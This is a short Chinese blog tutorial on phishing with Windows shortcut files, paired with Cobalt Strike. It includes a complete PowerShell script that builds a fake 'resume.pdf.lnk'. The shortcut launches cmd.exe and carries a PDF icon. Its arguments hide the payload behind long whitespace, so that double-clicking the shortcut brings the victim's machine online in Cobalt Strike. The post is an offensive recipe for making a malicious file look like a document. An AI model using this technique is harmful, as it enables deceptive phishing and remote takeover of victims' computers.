CS+Ink钓鱼

.ink文件

windows的快捷方式

---

测试

使用powershell运行计算器，右键使用powershell运行即可打开计算器。

cmd /c calc.exe

生成PowerShell

1. CS生成powershell Command
   
   
2. 成功生成后替换calc.exe
   
3. 新建另一个ps1文件，内容如下

$file = Get-Content "ink.ps1"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("resume.pdf.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = ".\pdf.pdf"
$Shortcut.Arguments = '                                                                                                                                                                                                                                    '+ $file
$Shortcut.Save()

4. 右键使用powershell运行后会生成一个resume.pdf的快捷方式，双击运行即可CS上线
   

标签：exe,钓鱼,Shortcut,右键,Ink,CS,pdf,powershell
来源： https://www.cnblogs.com/ybit/p/14847824.html